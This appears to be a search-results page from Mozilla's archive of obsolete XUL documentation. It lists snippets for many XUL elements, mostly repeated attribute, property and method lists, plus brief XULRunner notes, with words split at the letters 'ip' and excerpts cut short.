container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
page - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
progressmeter - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
promptBox - Archive of obsolete content
a tab may have mult
iple prompts on it; the tabmodalpromptshowing attribute on the tabbrowser will tell you how many prompts a given tab has.
...you should use the window.alert() method or the ns
iprompt interface instead.
row - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
rows - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
scrollcorner - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
separator - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
spacer - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
spinbuttons - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
stack - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
statusbar - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeat...
stringbundle - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties applocale obsolete since gecko 1.9.1 type: nsilocale returns the xpcom object which holds information about the user's locale.
...the enumeration contains ns
ipropertyelement objects.
stringbundleset - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
tabpanel - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
template - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
textnode - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
titlebar - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width note: the allowevents attribute did not work for title bars prior to firefox 3.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagname...
treecell - Archive of obsolete content
it is not used for any specific purpose, but you can access it with a scr
ipt for your own use.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
treechildren - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
treeitem - Archive of obsolete content
label t
ipo: string (concatenación de caracteres) para un árbol tree con columnas simples, la etiqueta puede ser colocada directamnete sobre el elemeto "treeitem" sin la necesidad de una fila "row" y un elemento "treeitem" dentro.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
treerow - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
treeseparator - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
vbox - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...tatustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventli...
wizardpage - Archive of obsolete content
attributes descr
iption, label, next, pageid properties next, pageid attributes descr
iption type: string descr
iptive text to appear in addition to the dialog title.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(...
XUL - Archive of obsolete content
mailing list newsgroup rss feed #xul on irc.mozilla.org tools xul online live editor (copy & paste sn
ippets from here and run them) xul explorer (a lightweight xul ide) xulexplorer (patched version of xul explorer) extension developer's extension (featuring a live xul editor) xulref sidebar firebug dom inspector spket ide, ide for xul/xbl ample sdk, (cross-browser xul renderer in javascr
ipt/html) ...
... related topics javascr
ipt, xbl , css, rdf, extensions, xulrunner ...
CommandLine - Archive of obsolete content
handling command line arguments with xulrunner for mult
iple instances application it's fairly easy to retrieve application specific command line arguments in xulrunner when it's not a single instance application.
...r application window to the observer: chrome/content/window.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="main" title="&window.title;" windowtype="xulmine" style="width: 300px; height: 350px;" persist="screenx screeny width height sizemode"> <scr
ipt type="application/javascr
ipt" src="cmdline.js" /> ...
Deploying XULRunner - Archive of obsolete content
it may turn out to be easier to create a self contained portable application, as described here, and deploy it with a generic installer that would create shortcuts to scr
ipts that launch your application in the unregistered bundled xulrunner.
...in the end, most users are afraid of links that don't have a pretty icon so you may want to have a look at the branding section of xulrunner t
ips.
MacFAQ - Archive of obsolete content
